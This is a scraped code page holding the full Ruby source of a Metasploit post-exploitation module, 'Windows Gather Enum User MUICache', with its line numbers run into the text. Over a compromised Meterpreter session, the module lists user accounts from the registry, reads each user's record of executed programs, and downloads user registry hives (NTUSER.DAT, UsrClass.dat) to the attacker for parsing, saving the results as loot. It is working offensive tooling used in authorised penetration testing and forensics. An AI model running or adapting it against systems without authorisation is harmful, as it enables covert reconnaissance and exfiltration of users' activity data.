Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_muicache.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/registry'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Windows::Priv10include Msf::Post::Windows::Registry1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Windows Gather Enum User MUICache',17'Description' => %q{18This module gathers information about the files and file paths that logged on users have19executed on the system. It also will check if the file still exists on the system. This20information is gathered by using information stored under the MUICache registry key. If21the user is logged in when the module is executed it will collect the MUICache entries22by accessing the registry directly. If the user is not logged in the module will download23users registry hive NTUSER.DAT/UsrClass.dat from the system and the MUICache contents are24parsed from the downloaded hive.25},26'License' => MSF_LICENSE,27'Author' => ['TJ Glad <tjglad[at]cmail.nu>'],28'Platform' => ['win'],29'SessionType' => ['meterpreter'],30'Compat' => {31'Meterpreter' => {32'Commands' => %w[33core_channel_close34core_channel_eof35core_channel_open36core_channel_read37stdapi_fs_stat38]39}40}41)42)43end4445# Scrapes usernames, sids and homepaths from the registry so that we'll know46# what user accounts are on the system and where we can find those users47# registry hives.48def find_user_names49user_names = []50user_homedir_paths = []51user_sids = []5253username_reg_path = "HKLM\\Software\\Microsoft\\Windows\ NT\\CurrentVersion\\ProfileList"54profile_subkeys = registry_enumkeys(username_reg_path)55if profile_subkeys.blank?56print_error('Unable to access ProfileList registry key. Unable to continue.')57return nil58end5960profile_subkeys.each do |user_sid|61unless user_sid.length > 1062next63end6465user_home_path = registry_getvaldata("#{username_reg_path}\\#{user_sid}", 'ProfileImagePath')66if user_home_path.blank?67print_error('Unable to read ProfileImagePath from the registry. Unable to continue.')68return nil69end70full_path = user_home_path.strip71user_names << full_path.split('\\').last72user_homedir_paths << full_path73user_sids << user_sid74end7576return user_names, user_homedir_paths, user_sids77end7879# This function builds full registry muicache paths so that we can80# later enumerate the muicahe registry key contents.81def enum_muicache_paths(sys_sids, mui_path)82user_mui_paths = []83hive = 'HKU\\'8485sys_sids.each do |sid|86full_path = hive + sid + mui_path87user_mui_paths << full_path88end8990user_mui_paths91end9293# This is the main enumeration function that calls other main94# functions depending if we can access the registry directly or if95# we need to download the hive and process it locally.96def enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file)97results = []9899all_user_entries = sys_users.zip(muicache_reg_keys, sys_paths)100101all_user_entries.each do |user, reg_key, sys_path|102subkeys = registry_enumvals(reg_key)103if subkeys.blank?104# If the registry_enumvals returns us nothing then we'll know105# that the user is most likely not logged in and we'll need to106# download and process users hive locally.107print_warning("User #{user}: Can't access registry. Maybe the user is not logged in? Trying NTUSER.DAT/USRCLASS.DAT...")108result = process_hive(sys_path, user, muicache, hive_file)109unless result.nil?110result.each do |r|111results << r unless r.nil?112end113end114else115# If the registry_enumvals returns us content we'll know that we116# can access the registry directly and thus continue to process117# the content collected from there.118print_status("User #{user}: Enumerating registry...")119subkeys.each do |key|120if key[0] != '@' && key != 'LangID' && !key.nil?121result = check_file_exists(key, user)122results << result unless result.nil?123end124end125end126end127128results129end130131# This function will check if it can find the program executable132# from the path it found from the registry. Permissions might affect133# if it detects the executable but it should be otherwise fairly134# reliable.135def check_file_exists(key, user)136program_path = expand_path(key)137if file_exist?(key)138return [user, program_path, 'File found']139else140return [user, program_path, 'File not found']141end142end143144# This function will check if the filepath contains a registry hive145# and if it does it'll proceed to call the function responsible of146# downloading the hive. After successfull download it'll continue to147# call the hive_parser function which will extract the contents of148# the MUICache registry key.149def process_hive(sys_path, user, muicache, hive_file)150user_home_path = expand_path(sys_path)151hive_path = user_home_path + hive_file152ntuser_status = file_exist?(hive_path)153154unless ntuser_status == true155print_warning("Couldn't locate/download #{user}'s registry hive. Unable to proceed.")156return nil157end158159print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file...")160local_hive_copy = Rex::Quickfile.new('jtrtmp')161local_hive_copy.close162begin163session.fs.file.download_file(local_hive_copy.path, hive_path)164rescue ::Rex::Post::Meterpreter::RequestError165print_error('Unable to download NTUSER.DAT/USRCLASS.DAT file')166begin167local_hive_copy.unlink168rescue StandardError169nil170end171return nil172end173results = hive_parser(local_hive_copy.path, muicache, user)174begin175local_hive_copy.unlink176rescue StandardError177nil178end179180results181end182183# This function is responsible for parsing the downloaded hive and184# extracting the contents of the MUICache registry key.185def hive_parser(local_hive_copy, muicache, user)186results = []187print_status('Parsing registry content...')188err_msg = 'Error parsing hive. Unable to continue.'189hive = Rex::Registry::Hive.new(local_hive_copy)190if hive.nil?191print_error(err_msg)192return nil193end194195muicache_key = hive.relative_query(muicache)196if muicache_key.nil?197print_error(err_msg)198return nil199end200201muicache_key_value_list = muicache_key.value_list202if muicache_key_value_list.nil?203print_error(err_msg)204return nil205end206207muicache_key_values = muicache_key_value_list.values208if muicache_key_values.nil?209print_error(err_msg)210return nil211end212213muicache_key_values.each do |value|214key = value.name215if key[0] != '@' && key != 'LangID' && !key.nil?216result = check_file_exists(key, user)217results << result unless result.nil?218end219end220221results222end223224# Information about the MUICache registry key was collected from:225#226# - Windows Forensic Analysis Toolkit / 2012 / Harlan Carvey227# - Windows Registry Forensics / 2011 / Harlan Carvey228# - http://forensicartifacts.com/2010/08/registry-muicache/229# - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots230def run231print_status('Starting to enumerate MUICache registry keys...')232version = get_version_info233234if version.xp_or_2003? && is_admin?235print_good("Remote system supported: #{version.product_name}")236muicache = '\\Software\\Microsoft\\Windows\\ShellNoRoam\\MUICache'237hive_file = '\\NTUSER.DAT'238elsif version.build_number >= Msf::WindowsVersion::Vista_SP0 && is_admin?239print_good("Remote system supported: #{version.product_name}")240muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MUICache"241hive_file = '\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat'242else243print_error('Unsupported OS or not enough privileges. Unable to continue.')244return nil245end246247table = Rex::Text::Table.new(248'Header' => 'MUICache Information',249'Indent' => 1,250'Columns' =>251[252'Username',253'File path',254'File status',255]256)257258print_status('Phase 1: Searching user names...')259sys_users, sys_paths, sys_sids = find_user_names260261if sys_users.blank?262print_error('Was not able to find any user accounts. Unable to continue.')263return nil264else265print_good("Users found: #{sys_users.join(', ')}")266end267268print_status('Phase 2: Searching registry hives...')269muicache_reg_keys = enum_muicache_paths(sys_sids, muicache)270results = enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file)271272results.each { |r| table << r }273274print_status('Phase 3: Processing results...')275loot = store_loot('muicache_info', 'text/plain', session, table.to_s, nil, 'MUICache Information')276print_line("\n" + table.to_s + "\n")277print_good("Results stored as: #{loot}")278print_status('Execution finished.')279end280end281282283